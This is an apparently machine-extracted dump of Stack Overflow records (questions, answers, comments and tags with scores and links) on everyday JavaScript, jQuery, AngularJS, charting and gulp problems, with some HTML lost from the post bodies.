has title: How to select non-consecutive elements from a Javascript array?
type: AnsweredQuestion
score: 1
has body: If I have an array, what's a simple way of selecting non-consecutive elements? The second and fifth elements for example: a = ["a","b","c","d","e"] a.select_elements([1,4]) // should be ["b","e"] EDIT I just realized I can do [1,4].map(function(i) {return a[i]}). Is there a less verbose way?

http://stackoverflow.com/comment/40090322
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25655641
has text: @Barmar - the first part was background - I've filled in more specific content and I'm working on writing more. It isn't clear what the OP is actually trying to do some I'm trying to explain the `delete` operator in general and how it applies to the objects the OP has.

http://stackoverflow.com/a/25581773
type: Answer
has comment: http://stackoverflow.com/comment/39974087
has comment: http://stackoverflow.com/comment/39956739
has comment: http://stackoverflow.com/comment/39962932
has body: It's not enough to add a new . You must also adjust the rows or cols attribute of the containing . Also, if the frameset has an id, use it instead of trying to get the node by tagname. (Ids are fast and unique.) Code like this will work (for now): You can see the code in action at this jsBin. var parent = document.getElementById ("mainset"); var child = document.createElement ("frame"); child.style = "background-color: pink;"; parent.appendChild (child); parent.rows = "30%,30%,30%" var docRdyInt = null; var frmCW = child.contentWindow; if (frmCW) { //-- Must wait for the new frame to be writable, esp in Firefox. docRdyInt = setInterval (createFramedPage, 50); } else { alert ("Oopsie! may be a rendering delay in some cases. Try code from console."); } function createFramedPage () { if (frmCW.document.readyState == "complete") { clearInterval (docRdyInt); frmCW.document.body.innerHTML = ' Hello World! '; } }
has comment: http://stackoverflow.com/comment/39957350
score: 0
accepted answer of: http://stackoverflow.com/q/25581154
has comment: http://stackoverflow.com/comment/39965445
has comment: http://stackoverflow.com/comment/39974201
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25581154
has comment: http://stackoverflow.com/comment/39979585

http://stackoverflow.com/a/25886776
score: 0
has body: We have a similar issue using intern 2.0 and unit tests creating native select boxes. Some library code (verified that its not our own) triggers a dojo.emit() which causes the internal error. We're trying to identify the problem in more detail. If you find something please let us know as well!
type: Answer
answers question: http://stackoverflow.com/q/25630367
has comment: http://stackoverflow.com/comment/40604218

http://stackoverflow.com/comment/39956577
type: AnswerComment
comment on: http://stackoverflow.com/a/25582374
type: Comment
has text: Wow! that worked like magic. Thanks @Mritunjay. I think i prefer this filter solution. Any idea how well this performs on huge large data sets?
score: 0

http://stackoverflow.com/comment/40149406
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25688627
has text: not needed, but its the jquery way, so probably more readable.
score: 0

restful-architecture
type: Tag
tags question: http://stackoverflow.com/q/25680817
tag name: restful-architecture

http://stackoverflow.com/q/25710661
tagged with: testing
has title: Reduce boilerplate for testing angularjs controllers
tagged with: javascript
has answer: http://stackoverflow.com/a/38362020
has answer: http://stackoverflow.com/a/35791439
has comment: http://stackoverflow.com/comment/40190927
answer count: 2
has comment: http://stackoverflow.com/comment/40190485
downvote count: 0
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40194876
type: UnansweredQuestion
score: 1
upvote count: 1
has body: In my angular app, I have around 30 controllers and 1 test file for each of them. Those test files always begin with something like this boilerplate: 'use strict'; describe('Controller: SomeController', function () { var controller; var scope; beforeEach(function () { module('SomeControllerModule'); inject(function ($controller, $rootScope) { scope = $rootScope.$new(); controller = $controller('SomeController', { $scope: scope }); }); }); it('should prepare controller scope', function () { console.log('scope', scope); }); }); Is there a way to somehow make it shorter, so that I don't have to repeat it in each of my files?
type: Question

http://stackoverflow.com/a/25581522
has body: You need to call the function to execute the function var store; function load_event(page_id){ store = page_id; alert(page_id); //Works fine } load_event(2); alert(store); //2
answers question: http://stackoverflow.com/q/25581389
has comment: http://stackoverflow.com/comment/39955371
has comment: http://stackoverflow.com/comment/39955162
has comment: http://stackoverflow.com/comment/39955137
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/39955029
has comment: http://stackoverflow.com/comment/39955210
upvote count: 2

http://stackoverflow.com/comment/39995631
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25568108
type: Comment
has text: @KshitizShankar I'm not sure it's possible, `background-blend-mode` works on one element only. Please update your question and add details on what you need **exactly**: my answer seems to correspond to your question, but your question doesn't correspond to what you really need, so you will never find an useful answer that way.

http://stackoverflow.com/comment/40177778
comment on: http://stackoverflow.com/q/25703558
has text: @drneel thanks but no, the problem is when I display the items I can select any of them, try to search or pick one from the list and you'll see what I'm talking about
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40122146
type: QuestionComment
score: 0
has text: [**Look at your console here**](http://jsfiddle.net/e0341pe7/) and see the difference.
comment on: http://stackoverflow.com/q/25673429
type: Comment

http://stackoverflow.com/q/25574555
tagged with: youtube
score: 3
answer count: 0
downvote count: 0
type: Question
has body: I can load and play Youtube Video via the iFrame API, but I can't figure out how to change the player parameter for the second video. I want no controls on the first video and then when user click on my custom Play Video, I want to play the second video with controls bar. I can set the playerVars on player initiation, but I don't know how to change it when the player is already loaded. Any ideas? Thanks much. var player; function onYouTubeIframeAPIReady() { player = new YT.Player('player', { videoId: 'M7lc1UVf-VE', playerVars: { 'autoplay': 1, 'controls': 0 }, events: { 'onReady': onPlayerReady, 'onPlaybackQualityChange': onPlayerPlaybackQualityChange, 'onStateChange': onPlayerStateChange, 'onError': onPlayerError } }); } function onPlayerReady { var $btn = ' Play Button '; $('#nav').prepend($btn); $('#play').click(function() { player.loadVideoByUrl('http://youtu.be/GBHxL-LXJbs?controls=1'); }); }
tagged with: javascript
upvote count: 3
has comment: http://stackoverflow.com/comment/39942116
has comment: http://stackoverflow.com/comment/39959135
favorite count: 0
has title: How to change youtube player vars on each video
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/43646782

http://stackoverflow.com/comment/40095166
score: 0
has text: can u please, try it in fiddle and show me
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25658353

http://stackoverflow.com/comment/39957955
type: Comment
has text: Setting the attribute should work, but I would recommend to just set the value to 0 (the value of the option you want to show) instead. $('.gets').val('0'); http://jsfiddle.net/42o9hwhe/4/
comment on: http://stackoverflow.com/a/25581801
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39919632
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25562821
has text: when i am click on link this will animate but not go to div ..

http://stackoverflow.com/q/25564915
accepted answer: http://stackoverflow.com/a/25565788
favorite count: 0
has comment: http://stackoverflow.com/comment/39924636
has body: I am trying to remove items from one array and add then to another. At some stage I will then add them back to the original array. When I run the array 10 times the 10th time does not return the expected result of full array = 0 remove array = 100; Anyone know why this would be the case? var fullArr = [];//contains all items var remArr = [];//contains removed items var userAnswer = true;//this would be user input populateArray(); runTenTimes(); //getting the answer right 10 times should result in fullArr.length = 0; remArr.length = 100; function runTenTimes(){ for(var i=0;i&lt;10;i++){ //console.log(i); checkUserAnswer(); } } function populateArray(){ for(var i=0;i&lt;100;i++){ fullArr.push(i); } } function checkUserAnswer(){ if(userAnswer){//only if true for(i=0;i&lt;10;i++){//10 because I remove 10 at a time removeShape(fullArr,fullArr[i],remArr); } }else{ // add elements from remove arr // back into full array } console.log("full array : " + fullArr.length); console.log("remove array : " + remArr.length); console.log("------------------") } function removeShape(arr,item,rem){ for(var i = 0;i&lt;arr.length; i++) { if(arr[i] === item) { rem.push(arr[i]); arr.splice(i, 1); } } } http://jsfiddle.net/non_tech_guy/vy671jv4/
type: AnsweredQuestion
has title: Swap elements between arrays
upvote count: 3
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25565788
tagged with: arrays
has comment: http://stackoverflow.com/comment/39923629
downvote count: 0
has answer: http://stackoverflow.com/a/25565555
tagged with: javascript
score: 3
possible better answer: http://stackoverflow.com/a/25565555

http://stackoverflow.com/comment/40059764
score: 0
has text: Hmmm, PHP says it was a monday. One of these three is wrong.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638774

http://stackoverflow.com/a/25647714
accepted answer of: http://stackoverflow.com/q/25647454
has comment: http://stackoverflow.com/comment/62820462
upvote count: 546
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/70070162
answers question: http://stackoverflow.com/q/25647454
type: Answer
has comment: http://stackoverflow.com/comment/89779801
downvote count: 0
score: 546
has body: I've created an example to show how to. Updated state definition would be: $stateProvider .state('home', { url: '/:foo?bar', views: { '': { templateUrl: 'tpl.home.html', controller: 'MainRootCtrl' }, ... } And this would be the controller: .controller('MainRootCtrl', function($scope, $state, $stateParams) { //.. var foo = $stateParams.foo; //getting fooVal var bar = $stateParams.bar; //getting barVal //.. $scope.state = $state.current $scope.params = $stateParams; }) What we can see is that the state home now has url defined as: url: '/:foo?bar', which means, that the params in url are expected as /fooVal?bar=barValue These two links will correctly pass arguments into the controller: &lt;a ui-sref="home({foo: 'fooVal1', bar: 'barVal1'})"&gt; &lt;a ui-sref="home({foo: 'fooVal2', bar: 'barVal2'})"&gt; Also, the controller does consume $stateParams instead of $stateParam. Link to doc: URL Parameters You can check it here params : {} There is also new, more granular setting params : {}. As we've already seen, we can declare parameters as part of url. But with params : {} configuration - we can extend this definition or even introduce paramters which are not part of the url: .state('other', { url: '/other/:foo?bar', params: { // here we define default value for foo // we also set squash to false, to force injecting // even the default value into url foo: { value: 'defaultValue', squash: false, }, // this parameter is now array // we can pass more items, and expect them as [] bar : { array : true, }, // this param is not part of url // it could be passed with $state.go or ui-sref hiddenParam: 'YES', }, ... Settings available for params are described in the documentation of the $stateProvider Below is just an extract value - {object|function=}: specifies the default value for this parameter. This implicitly sets this parameter as optional... array - {boolean=}: (default: false) If true, the param value will be treated as an array of values. squash - {bool|string=}: squash …

http://stackoverflow.com/comment/40194777
has text: Oh great! When I enter a valid ObjectId it outputs the "found a user". However it also gives me and "undefined" for `console.log(results[0].get('objectId'));` and I'm still getting the `'get' of undefined`
comment on: http://stackoverflow.com/a/25697991
type: AnswerComment
score: 0
type: Comment

google-ads-api
tags question: http://stackoverflow.com/q/25633887
type: Tag
tags question: http://stackoverflow.com/q/25623131
tag name: google-ads-api

http://stackoverflow.com/q/25710654
has body: I'm currently coding an intranet which is also accessible by the internet. With jQuery I managed that when the user types his email in the login screen, jQuery requests a PHP page (e.g. picture.php?u=username) and his profile picture appears, so he can check his. How can I prevent that a hacker directly calls my picture.php with all possible emails and checks if they exist? Should I delete this feature?
score: -1
has comment: http://stackoverflow.com/comment/40190094
answer count: 2
upvote count: 0
has title: Show profile picture but don't show if account doesn't exist
tagged with: javascript
has comment: http://stackoverflow.com/comment/40190058
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25710750
has comment: http://stackoverflow.com/comment/40190179
tagged with: javascript-security
possible better answer: http://stackoverflow.com/a/25710863
has answer: http://stackoverflow.com/a/25710863
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40190139
has comment: http://stackoverflow.com/comment/40190032
accepted answer: http://stackoverflow.com/a/25710750
downvote count: 1
type: Question

http://stackoverflow.com/comment/93108742
score: 0
type: AnswerComment
has text: @ZephDavies, your code seems to have problems when nsamples != 6
type: Comment
comment on: http://stackoverflow.com/a/33567961

http://stackoverflow.com/a/25581637
answers question: http://stackoverflow.com/q/25581568
score: 0
has body: The short answer - the element becomes the first responder to any UI interaction e.g. keyboard / mouse etc. The long answer - the behaviour of how elements work when focused is documented in the HTML spec. In particular, take a look at the focusing steps If the element is not in a Document, or if the element's Document has no browsing context, or if the element's Document's browsing context has no top-level browsing context, or if the element is not focusable, or if the element is already focused, then abort these steps. If focusing the element will remove the focus from another element, then run the unfocusing steps for that element. Make the element the currently focused element in its top-level browsing context. Some elements, most notably area, can correspond to more than one distinct focusable area. If a particular area was indicated when the element was focused, then that is the area that must get focus; otherwise, e.g. when using the focus() method, the first such region in tree order is the one that must be focused. The user agent may apply relevant platform-specific conventions for focusing widgets. For example, some platforms select the contents of a text field when that field is focused. Fire a simple event named focus at the element.
type: Answer

http://stackoverflow.com/comment/39975835
type: Comment
comment on: http://stackoverflow.com/q/25592572
score: 0
has text: Have you tried anything? Also, .net is irrelevant here as you are dealing with the generated HTML. It would be more useful to see that. Googling "javascript modal" would probably answer your question.
type: QuestionComment

http://stackoverflow.com/q/25614086
has title: Instantiate and Inject into AngularJS Controller
downvote count: 0
has comment: http://stackoverflow.com/comment/40014443
has body: I want to use a base AngularJS controller for multiple very similar views, but I want to change the Resource that is passed into each controller. Here is the base controller: coreAppControllers.controller('ModalEditCtrl', function ($scope, $stateParams, Resource, $state, $modalInstance) { // A bunch of methods calling Resource } ); Now I want to use this controller in another controller, but using a Resource specific to the parent controller. coreAppControllers.controller('MachinesEditCtrl', ['$modal', function ($modal) { $modal.open({ backdrop: 'static', keyboard: false, templateUrl: '/partials/v1/resources/machines/edit', controller: //ModalEditCtrl with specific Machine resource injected }); }] ); This is possibly the wrong way to go about this in JavaScript. In other languages I would extend a base class, but I'm not certain what that would be in a prototypical language. SOLUTION Thank you to PSL for the answer, however that method failed to inject the $modalInstance correctly. The eventual solution was to use the resolve attribute, and let DI worry about the rest. For some reason you must wrap the service in an anonymous function when passing into resolve. coreAppControllers.controller('MachinesEditCtrl', ['$modal', 'MachinesAPI', function ($modal, MachinesAPI) { $modal.open({ backdrop: 'static', keyboard: false, templateUrl: '/partials/v1/resources/machines/edit', controller: 'ModalEditCtrl', resolve: { Resource: function () { return MachinesAPI; } } }); } ]);
has comment: http://stackoverflow.com/comment/40014672
linked to: http://stackoverflow.com/q/17716871
type: Question
tagged with: angular-ui-bootstrap
upvote count: 2
has comment: http://stackoverflow.com/comment/40014532
has answer: http://stackoverflow.com/a/25614291
accepted answer: http://stackoverflow.com/a/25614291
answer count: 1
tagged with: javascript
linked to: http://stackoverflow.com/q/892595
favorite count: 0
tagged with: angularjs
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/25660215
tagged with: javascript
has comment: http://stackoverflow.com/comment/40098552
score: 0
has body: This is how my HTML code looks like, in the real code there are several blocks like this. When you click somewhere in this DIV toogleDescription(this) gets called. My problem is, I don't want something to happen when you click on one of the ANCHORS (a), so is it possible to define certain DIV in the Javascript that nothing will happen? Content... Content... Content...> Content... Content... Content... So this is the Javascript that gets called. function toggleDescription(that) { if($(that).find('.dokumente_extra_row').is(':visible')) { $(that).find('.dokumente_extra_row').slideUp(500); $(that).find('.dokumente_triangle').rotate({ duration: 1000, angle: 90, animateTo: 0 }); } else { $(that).find('.dokumente_extra_row').slideDown(500); $(that).find('.dokumente_triangle').rotate({ duration: 1000, angle: 0, animateTo: 90 }); } }
answer count: 2
has answer: http://stackoverflow.com/a/25660927
accepted answer: http://stackoverflow.com/a/25660927
has answer: http://stackoverflow.com/a/25660353
has title: How to use onclick on a Class but only on certain elements
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40098420
type: Question
has comment: http://stackoverflow.com/comment/40098485
linked to: http://stackoverflow.com/q/12758547
possible better answer: http://stackoverflow.com/a/25660353

http://stackoverflow.com/a/25631306
has comment: http://stackoverflow.com/comment/40048672
has comment: http://stackoverflow.com/comment/40047185
score: 0
has body: If we assume that the first fancybox is the red one, and the next fancybox is the green one, then you can use the CSS :first-child selector. #fancybox-content:first-child { border: 30px solid #f5a9a9 !important; } #fancybox-content:nth-child(2) { border: 30px solid #bef781 !important; }
has comment: http://stackoverflow.com/comment/40046421
answers question: http://stackoverflow.com/q/25631261
type: Answer
has comment: http://stackoverflow.com/comment/40047370

http://stackoverflow.com/a/25703778
accepted answer of: http://stackoverflow.com/q/25702491
has comment: http://stackoverflow.com/comment/40184081
answers question: http://stackoverflow.com/q/25702491
has body: This code is doing what you want it to do, you just can't tell whether the divs are on top or under each other because they have the same color. This code creates a random color for each new div so you can see that the new ones are actually on top of the old ones: var colors = ["blue", "red", "lime", "purple"]; color = colors[Math.floor(Math.random()*colors.length)]; $(document).mousemove(function (e) { mouseX = e.pageX; mouseY = e.pageY; }); function createObj() { var o = $('&lt;div /&gt;'); o.addClass('myDiv'); o.css({'top':mouseY,'left':mouseX, background: color}).fadeIn('slow'); $(document.body).append(o); color = colors[Math.floor(Math.random()*colors.length)]; } $(document).click(createObj); DEMO
type: AcceptedAnswer
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40184727

http://stackoverflow.com/a/25630615
score: 1
has body: Depending on the browser, console methods can only be called in the context of console. Try Log.format(console.warn.bind(console));
upvote count: 1
has comment: http://stackoverflow.com/comment/40044890
has comment: http://stackoverflow.com/comment/40045262
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25630560
type: Answer
accepted answer of: http://stackoverflow.com/q/25630560
has comment: http://stackoverflow.com/comment/40044930

http://stackoverflow.com/q/25702911
has answer: http://stackoverflow.com/a/39658949
accepted answer: http://stackoverflow.com/a/39658949
has comment: http://stackoverflow.com/comment/40175863
type: AnsweredQuestion
has title: How to .load() into the div that has the link to the function
has comment: http://stackoverflow.com/comment/40175937
has comment: http://stackoverflow.com/comment/40175968
type: Question
has comment: http://stackoverflow.com/comment/40176185
has body: I want to make a dynamic site which loads the div content from other pages into the div content that has the links which use the function .load(). It works if the div you are changing is another div than the content div. Here is the command that I think that should work: CLick here If I replace #container with another div, the whole procedure works. But when I try to replace the container div it does absolutely nothing. In example.php there are some PHP functions which populate the inside of another div through MySQL. How can I make the load function work on the upper div?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40176300
has comment: http://stackoverflow.com/comment/40176209
score: 0
has comment: http://stackoverflow.com/comment/40175850
has comment: http://stackoverflow.com/comment/40176085
answer count: 1
tagged with: jquery

http://stackoverflow.com/q/25642031
answer count: 1
has answer: http://stackoverflow.com/a/25642123
type: UnansweredQuestion
tagged with: javascript
has title: Razor/ MVC - Javascript Function with params rendered incorrectly
type: Question
tagged with: razor
tagged with: asp.net-mvc-4
score: 0
has body: I am calling the following in a partial view; @Html.RadioButton("answers", @a.Item1, new { @OnClick = @Html.Raw(string.Format("AnswerSelected('{0}','{1}');", @a.Item2, @a.Item1)) })@a.Item2 This produces the following on teh page; &lt;input OnClick="AnswerSelected(&amp;#39;Yes&amp;#39;,&amp;#39;2&amp;#39;);" id="answers" name="answers" type="radio" value="2" /&gt;Yes Removing the @Html.Raw makes no difference. So its encoding the ' around the parameters. How do I stop this, or am I approaching the problem incorrectly?

http://stackoverflow.com/comment/40051039
score: 0
type: Comment
has text: Thanks, the documentation isn't the greatest. ;-)
type: AnswerComment
comment on: http://stackoverflow.com/a/25622171

http://stackoverflow.com/comment/39943368
type: Comment
type: QuestionComment
has text: can you create a plnkr
comment on: http://stackoverflow.com/q/25574073
score: 0

http://stackoverflow.com/a/25642097
answers question: http://stackoverflow.com/q/25642004
has comment: http://stackoverflow.com/comment/40098996
type: AcceptedAnswer
downvote count: 0
has body: If you are using any recent version of jQuery you should use a delegated event handler: $(document).on("click", "#m" + event.PeerId + " sendMessage", function (args) { debugger; }); If your ids all start with m, but the peerid is not know yet, use this: $(document).on("click", "[id^=m] sendMessage", function (args) { debugger; }); Delegated event handlers should be attached to a non-changing ancestor (document being the default if nothing closer to the changing elements is handy). They work by listening for the event bubbling up the ancestors, to the one the handler is attached to, then applies the jQuery filter, the calls the function for each matching element that caused the event. Note: Never use 'body' for delegated event handlers as it has bugs relating to styling (which can cause events to not occur). Always use document if you do not have a closer element that does not change.
has comment: http://stackoverflow.com/comment/40071792
type: Answer
has comment: http://stackoverflow.com/comment/40095522
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40071109
accepted answer of: http://stackoverflow.com/q/25642004

http://stackoverflow.com/q/25639060
tagged with: javascript
upvote count: 1
answer count: 1
has title: angular js calling ng-init on ng-repeat
favorite count: 0
has body: I am calling ng-int() on ng-repeat like this: &lt;ul class="title_page1" style="margin:0; padding:0;"&gt; &lt;li ng-init='some(val.id);' ng-repeat="(key,val) in menu"&gt;{{val.name}}&lt;/span&gt;&lt;span&gt;{{size}}&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; I have three elements in menu, by this ng-init is getting called for each ng-repeat but {{size}} from some(val.id). I am getting same size for all the 3 elements. Please kelp me in sorting out this. $scope.some={function(id){ return $http({ url : 'url+id', method : 'GET', async : false, }).success(function(data) { $scope.size = data.length; }); }; $scope.menu=[{java,php,micro}]; And this the thins I am doing but the size i am getting for all the elements is same. but i have seen in the google but i did not get any result from google
tagged with: angularjs
type: UnansweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25639156
type: Question

http://stackoverflow.com/comment/39921427
type: Comment
comment on: http://stackoverflow.com/a/25557527
has text: And what if he has that enabled? How do you know?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40109163
score: 0
type: Comment
has text: Oh interesting, I didn't know I could attach information on to the button itself. That was the prohibiting factor from having a separate on click event. Learnt something very useful there!
type: AnswerComment
comment on: http://stackoverflow.com/a/25663096

http://stackoverflow.com/comment/40336493
type: QuestionComment
score: 0
has text: Glad that your problem solved.. great.. cheers..!!!
comment on: http://stackoverflow.com/q/25683556
type: Comment

http://stackoverflow.com/a/25581598
has comment: http://stackoverflow.com/comment/39955165
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25581568
has body: You have an exemple here : http://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_html_blur When you press enter on a form for example, it will validate the form if you have the focus on the button "submit" but it won't it you don't have the focus on it. Also for an input, you can write something in it if you have the focus on it but not if you don't. This function is used to give focus to an element.
has comment: http://stackoverflow.com/comment/39955251

http://stackoverflow.com/comment/40122994
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25673967
score: 1
has text: Is there a reason you haven't assigned anything to a model?

http://stackoverflow.com/comment/40055255
type: QuestionComment
has text: I don't see a checked attribute on your checkbox.
score: 2
type: Comment
comment on: http://stackoverflow.com/q/25636478

http://stackoverflow.com/comment/40071145
comment on: http://stackoverflow.com/a/25644881
score: 0
has text: @Moniv I add jsfiddle without timeout and events
type: Comment
type: AnswerComment

http://stackoverflow.com/q/25565177
tagged with: dc.js
answer count: 1
tagged with: bar-chart
downvote count: 0
has comment: http://stackoverflow.com/comment/40021448
favorite count: 0
has title: Target in barchart in dc.js
upvote count: 1
has answer: http://stackoverflow.com/a/25617950
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25617950
score: 1
has body: I'm using dc.js for charting, and it is great. I'm currently trying to create barchart with target-lines for each bar, similar to bullet-charts, see http://bl.ocks.org/mbostock/4061961. I only need the target-line (+value); I can create the stacked bars perfectly. I currently use a composite chart, where the target is a lineChart with interpolation set to step-before. composite .width(768) .height(480) .x(d3.scale.linear().domain([0,20])) .yAxisLabel("The Y Axis") .legend(dc.legend().x(80).y(20).itemHeight(13).gap(5)) .renderHorizontalGridLines(true) .compose([ dc.barChart(composite) .dimension(dim) .colors('red') .group(grp1, "Top Line"), dc.lineChart(composite) .dimension(dim) .colors('blue') .group(grp2, "Bottom Line") .interpolate("step-before") ]) .brushOn(false) .render(); However, this creates ugly vertical lines. Is there a better approach?
has comment: http://stackoverflow.com/comment/40006905
type: Question
tagged with: charts
tagged with: javascript

http://stackoverflow.com/comment/39989603
type: AnswerComment
type: Comment
has text: Yep, it executes itself, so it's recursive.
score: 0
comment on: http://stackoverflow.com/a/25571930

http://stackoverflow.com/a/25660448
has comment: http://stackoverflow.com/comment/61106254
has body: I have done it. What I had to do is create a new task called "Reload", put dependencies on it and run it after each of the other tasks. Here is the new Gulpfile": 'use strict'; var gulp = require('gulp'); var jade = require('gulp-jade'); var gutil = require('gulp-util'); var stylus = require('gulp-stylus'); var jeet = require('jeet'); var nib = require('nib'); var uglify = require('gulp-uglify'); var livereload = require('gulp-livereload'); var sources = { jade: "jade/**/*.jade", partials: "partials/**/*.jade", stylus: "styl/**/*.styl", scripts: "js/**/*.js" }; // Define destinations object var destinations = { html: "dist/", css: "dist/css", js: "dist/js" }; // Compile and copy Jade gulp.task("jade", function(event) { return gulp.src(sources.jade) .pipe(jade({pretty: true})) .pipe(gulp.dest(destinations.html)) }); // Compile and copy Stylus gulp.task("stylus", function(event) { return gulp.src(sources.stylus).pipe(stylus({ use: [nib(), jeet()], import: [ 'nib', 'jeet' ], style: "compressed" })).pipe(gulp.dest(destinations.css)); }); // Minify and copy all JavaScript gulp.task('scripts', function() { gulp.src(sources.scripts) .pipe(uglify()) .pipe(gulp.dest(destinations.js)); }); // Server gulp.task('server', function () { var express = require('express'); var app = express(); app.use(require('connect-livereload')()); app.use(express.static(__dirname+'/dist/')); app.listen(4000, '0.0.0.0'); }); // Watch sources for change, executa tasks gulp.task('watch', function() { livereload.listen(); gulp.watch(sources.jade, ["jade", "refresh"]); gulp.watch(sources.partials, ["jade", "refresh"]); gulp.watch(sources.stylus, ["stylus", "refresh"]); gulp.watch(sources.scripts, ["scripts", "refresh"]); }); // Refresh task. Depends on Jade task completion gulp.task("refresh", ["jade"], function(){ livereload.changed(); console.log('LiveReload is triggered'); }); // Define default task gulp.task("default", ["jade", "stylus", "scripts", "server", "watch"]);
type: Answer
has comment: http://stackoverflow.com/comment/61110055
answers question: http://stackoverflow.com/q/25583454
score: 0

http://stackoverflow.com/comment/39898107
comment on: http://stackoverflow.com/q/25551507
type: Comment
type: QuestionComment
score: 1
has text: Try `$(document).on('click','#tag',function(){alert(0);});`. This way, the event is bound to the document, not to not-yet-existing elements.

http://stackoverflow.com/comment/40052557
type: Comment
has text: Here's a copy of my local version. Parallax breaks after switch to page 2 and back to page 1. I've commented out anything that didn't go into the jsfiddler, so not sure why the results would be different? http://new.seianesthesia.com/test.html
score: 0
comment on: http://stackoverflow.com/q/25633324
type: QuestionComment

http://stackoverflow.com/a/25590746
has body: You're mostly there, you just never asked the second child what its margin-right was: jQuery('ul li:first-child').css('margin-right', jQuery('ul li:first-child').next().css('margin-right')); Or more efficiently (and clearly): var first = jQuery('ul li:first-child'); first.css('margin-right', first.next().css('margin-right')); Or even more clearly: var first = jQuery('ul li:first-child'); var marginRight = first.next().css('margin-right'); first.css('margin-right', marginRight); Updated Fiddle - Note that one of the things I had to change in the fiddle was that you had the "No wrap - in head" option chosen, which means that the JavaScript code runs before the elements exist. I changed it to "No wrap - in body" so the script is at the end of the body, so all the elements exist.
has comment: http://stackoverflow.com/comment/39972342
has comment: http://stackoverflow.com/comment/39971759
answers question: http://stackoverflow.com/q/25590732
upvote count: 2
has comment: http://stackoverflow.com/comment/39972493
accepted answer of: http://stackoverflow.com/q/25590732
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/q/25583163
has body: I mean it, i want write a simple script in a .js file to execute in the console of the dev tools (with the dev tools API), for example is a use the $ sign in the simple .js file to pass to the dev- tools (script in a html page ) i get error : Uncaught ReferenceError: $ is not defined console.js:10 (anonymous function) but in the dev-tools API, in the Chromium console it'll use to select the DOM element (selectByQuery()). The problem is i can't understand how pass the script that it must be exec in the dev-tools console. How can i solve this ? Thanks in Advance
answer count: 1
tagged with: google-chrome-devtools
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25583367
type: Question
has title: How pass command from file to dev-tools (ex chromium dev-tools)
score: 0

http://stackoverflow.com/comment/40166048
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25697306
score: 0
has text: Are you sure `xopts` is an object?

http://stackoverflow.com/comment/40124314
score: 0
type: QuestionComment
type: Comment
has text: @elclanrs: According to the OP's final example, it's simply doing a `gte` rather than the "expected" `lt`.
comment on: http://stackoverflow.com/q/25674596

http://stackoverflow.com/a/25619861
score: 0
has comment: http://stackoverflow.com/comment/40024843
type: Answer
answers question: http://stackoverflow.com/q/25619554
has body: As I told you can try like this : you can put your partcount value inside hidden element and when you want to decrement the value - get the value from that hidden element and subtract it by 1 Suppose you have hidden field : &lt;input type="hidden" id="count_hidden" value="1"&gt; Jquery: $('#AddName').click(function () { var partcount = parseInt($('#count_hidden').val()); partcount ++; $('#count_hidden').val(partcount) // You code// }); $('.remove-name').click(function () { $(this).closest('tr').remove(); var partcount = parseInt($('#count_hidden').val()); partcount--; $('#count_hidden').val(partcount); //your code });

http://stackoverflow.com/q/25565206
has title: Performance improvements with display:none
upvote count: 1
linked to: http://stackoverflow.com/q/9078960
type: Question
has body: I'm working on a project where large pannable images are viewed on tablet devices. To get around Mobile Safari's memory limitations for large images I am tiling segments of an image to create one large image. The user can scale and rotate as well as pan around this image, these transformations can be quite slow due to the number of images (we're talking 36 500x500px images). Before going to the trouble of implementing it, I was wondering setting the display property of offscreen tiles to 'none' would provide a significant performance improvement in the speed of the transformations at this scale?
tagged with: javascript
has comment: http://stackoverflow.com/comment/39924051
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39924566
type: UnansweredQuestion
tagged with: css
has comment: http://stackoverflow.com/comment/39924375
answer count: 0
score: 1

http://stackoverflow.com/q/25632741
has comment: http://stackoverflow.com/comment/40049243
has answer: http://stackoverflow.com/a/25634761
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
has body: Beginning developer here, making a website using wordpress as a platform. I would like the user to be able to click an upvote button and upvote a post without refreshing the page. I figure I should probably use javascript to highlight the button once clicked as well as change the vote number. However, I am having trouble figuring out how to run a php script (to update the database) without refreshing the page. Thanks in advance,
favorite count: 0
has title: wordpress/php: create an upvote button that does not refresh page
type: UnansweredQuestion
tagged with: php
score: 1
tagged with: wordpress
upvote count: 1
type: Question

google-drive-api
tags question: http://stackoverflow.com/q/25684098
tags question: http://stackoverflow.com/q/25586804
type: Tag
tag name: google-drive-api
tags question: http://stackoverflow.com/q/25698657

http://stackoverflow.com/a/25648678
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25605476
answers question: http://stackoverflow.com/q/25605476
